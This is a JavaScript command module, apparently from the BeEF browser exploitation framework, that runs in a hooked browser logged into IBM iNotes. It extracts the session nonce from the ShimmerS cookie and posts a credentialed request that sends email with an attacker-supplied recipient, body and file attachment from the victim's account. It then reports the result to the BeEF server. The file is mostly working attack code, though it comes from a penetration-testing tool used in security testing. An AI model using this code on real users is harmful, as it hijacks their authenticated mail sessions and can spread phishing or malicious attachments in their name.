Path: blob/master/modules/misc/ibm_inotes/send_inotes_with_attachment/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn [email protected]2//3// Licensed under the Apache License, Version 2.0 (the "License");4// you may not use this file except in compliance with the License.5// You may obtain a copy of the License at6//7// http://www.apache.org/licenses/LICENSE-2.08//9// Unless required by applicable law or agreed to in writing, software10// distributed under the License is distributed on an "AS IS" BASIS,11// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.12// See the License for the specific language governing permissions and13// limitations under the License.14//15beef.execute(function() {16var to = "<%= @to %>";17var subject = "<%= @subject.gsub(/"/, '\\"').gsub(/\n/, '\\n').gsub(/\r/, '\\r') %>";18var body = "<%= @body.gsub(/"/, '\\"').gsub(/\n/, '\\n').gsub(/\r/, '\\r') %>";19var filename = "<%= @filename %>";20var filedata = "<%= @filedata %>";2122//get URL for this nsf databse23var currentURL = document.URL;24var rx = /(.*\.nsf)/g;2526try {27var arr = rx.exec(currentURL);28var notesURL = arr[1];2930//extract nonce from ShimmerS-cookie31var cookies = document.cookie;32var rxc = /ShimmerS=.*?N:([A-Za-z0-9]*)/g;33var arrc = rxc.exec(cookies);34var nonce = arrc[1];3536var xhr = new XMLHttpRequest();37var uri = notesURL + "/($Inbox)/$new/?EditDocument&Form=h_PageUI&PresetFields=h_EditAction;h_ShimmerEdit,s_ViewName;($Inbox),s_NotesForm;Memo&ui=dwa_form";38xhr.open("POST", uri, true);39xhr.withCredentials = true;4041var boundary = "---------------------------32162600713994";4243xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=" + boundary);444546var post_data = boundary + "\r\n";47post_data += "Content-Disposition: form-data; name=\"%%Nonce\"\r\n";48post_data += "\r\n";49post_data += nonce + "\r\n";50post_data += boundary + "\r\n";51post_data += "Content-Disposition: form-data; name=\"h_EditAction\"\r\n";52post_data += "\r\n";53post_data += "h_Next\r\n";54post_data += boundary + "\r\n";55post_data += "Content-Disposition: form-data; name=\"h_SetReturnURL\"\r\n";56post_data += "\r\n";57post_data += "[[./&Form=l_CallListener]]\r\n";58post_data += boundary + "\r\n";59post_data += "Content-Disposition: form-data; name=\"h_SetCommand\"\r\n";60post_data += "\r\n";61post_data += "h_ShimmerSendMail\r\n";62post_data += boundary + "\r\n";63post_data += "Content-Disposition: form-data; name=\"h_SetSaveDoc\"\r\n";64post_data += "\r\n";65post_data += "1\r\n";66post_data += boundary + "\r\n";67post_data += "Content-Disposition: form-data; name=\"SendTo\"\r\n";68post_data += "\r\n";69post_data += to + "\r\n";70post_data += boundary + "\r\n";71post_data += "Content-Disposition: form-data; name=\"CopyTo\"\r\n";72post_data += "\r\n";73post_data += "\r\n";74post_data += boundary + "\r\n";75post_data += "Content-Disposition: form-data; name=\"BlindCopyTo\"\r\n";76post_data += "\r\n";77post_data += "\r\n";78post_data += boundary + "\r\n";79post_data += "Content-Disposition: form-data; name=\"Body\"\r\n";80post_data += "\r\n";81post_data += body + "\r\n";82post_data += boundary + "\r\n";83post_data += "Content-Disposition: form-data; name=\"MailOptions\"\r\n";84post_data += "\r\n";85post_data += "1\r\n";86post_data += boundary + "\r\n";87post_data += "Content-Disposition: form-data; name=\"Form\"\r\n";88post_data += "\r\n";89post_data += "Memo\r\n";90post_data += boundary + "\r\n";91post_data += "Content-Disposition: form-data; name=\"s_UsePlainText\"\r\n";92post_data += "\r\n";93post_data += "0\r\n";94post_data += boundary + "\r\n";95post_data += "Content-Disposition: form-data; name=\"s_UsePlainTextAndHTML\"\r\n";96post_data += "\r\n";97post_data += "1\r\n";98post_data += boundary + "\r\n";99post_data += "Content-Disposition: form-data; name=\"Subject\"\r\n";100post_data += "\r\n";101post_data += subject + "\r\n";102post_data += boundary + "\r\n";103post_data += "Content-Disposition: form-data; name=\"HaikuUploadAttachment0\"; filename=\"" + filename + "\"\r\n";104post_data += "\r\n";105post_data += filedata + "\r\n";106post_data += boundary + "--";107xhr.sendAsBinary(post_data);108109beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Attempt to send note.');110} catch(e) {111beef.debug("Error: " + e);112beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Error: ' + e);113}114});115116117118119120121122123